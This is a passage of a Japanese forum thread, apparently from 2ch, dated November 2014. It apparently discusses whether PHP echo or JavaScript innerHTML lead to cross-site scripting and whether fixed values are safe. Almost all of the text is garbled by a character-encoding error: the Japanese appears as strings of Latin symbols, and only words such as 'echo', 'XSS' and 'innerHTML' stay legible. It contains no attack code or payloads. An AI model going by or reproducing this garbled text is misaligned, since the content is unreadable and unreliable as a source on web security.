echo‚à“¯‚¶‚Å‚·BŒÅ’è’l‚È‚ç‚ÎXSS‚Í‹N‚«‚Ü‚¹‚ñB


ˆá‚¢A•ª‚©‚è‚Ü‚·‚©H •Ï”‚Ì“à—e‚ªƒ†[ƒU[‚ª“ü‚ê‚ç‚ê‚é‚©‚Ç‚¤‚©‚Å‚·B
ƒGƒ“ƒhƒ†[ƒU[‚ª“ü‚ê‚ç‚ê‚é‚È‚çAXSS‚Í‹N‚«‚é‰Â”\«‚ª‚ ‚è‚Ü‚·‚ªA
ŒÅ’è’l‚ð“ü‚ê‚Ä‚¢‚éŒÀ‚èXSS‚Í‹N‚«‚Ü‚¹‚ñB

â‘΂ɋN‚«‚Ü‚¹‚ñB

246:Name_Not_Found
14/11/10 23:10:11.01 .net
>>241
ƒ`ƒFƒbƒNƒ~ƒX‚Á‚ĉ½‚̃`ƒFƒbƒN‚Å‚·‚©H

ƒR[ƒh‚ɃoƒO‚ª‚È‚¢‚©ƒ`ƒFƒbƒN‚µ‚È‚¢‚ñ‚Å‚·‚©H

247:Name_Not_Found
14/11/10 23:11:25.57 .net
‚Ü‚³‚É‚±‚ê‚È‚ñ‚¾‚æ‚ËB
echo‚ðƒ~ƒX‚·‚é‚ÆXSS‹N‚«‚é‚©‚çA
echo‚ðŽg‚¤‚È‚Á‚Ä‚¢‚¤”nŽ­‚Í‚¢‚È‚¢B

221 –¼‘OFName_Not_Found[sage] “Še“úF2014/11/10(ŒŽ) 21:57:31.58 ID:???
echo ‚̓~ƒX‚ð‚·‚é‚ÆXSS‚ð‹N‚±‚·B

‚¾‚©‚çecho‚ðŽg‚¤‚ÈI

ª

‚¦H‚—


222 –¼‘OFName_Not_Found[sage] “Še“úF2014/11/10(ŒŽ) 21:58:21.95 ID:???
innerHTML ‚̓~ƒX‚ð‚·‚é‚ÆXSS‚ð‹N‚±‚·B

‚¾‚©‚ç innerHTML ‚ðŽg‚¤‚ÈI

ª

‚¦H‚—


ŽŸƒy[ƒW
ÅVƒŒƒX•\Ž¦
ƒXƒŒƒbƒh‚ÌŒŸõ
—ÞŽ—ƒXƒŒˆê——
˜b‘è‚̃jƒ…[ƒX
‚¨‚Ü‚©‚¹ƒŠƒXƒg
¥ƒIƒvƒVƒ‡ƒ“‚ð•\Ž¦
‰É‚‚Ԃµ2ch

548“ú‘O‚ÉXV/282 KB
’S“–:undef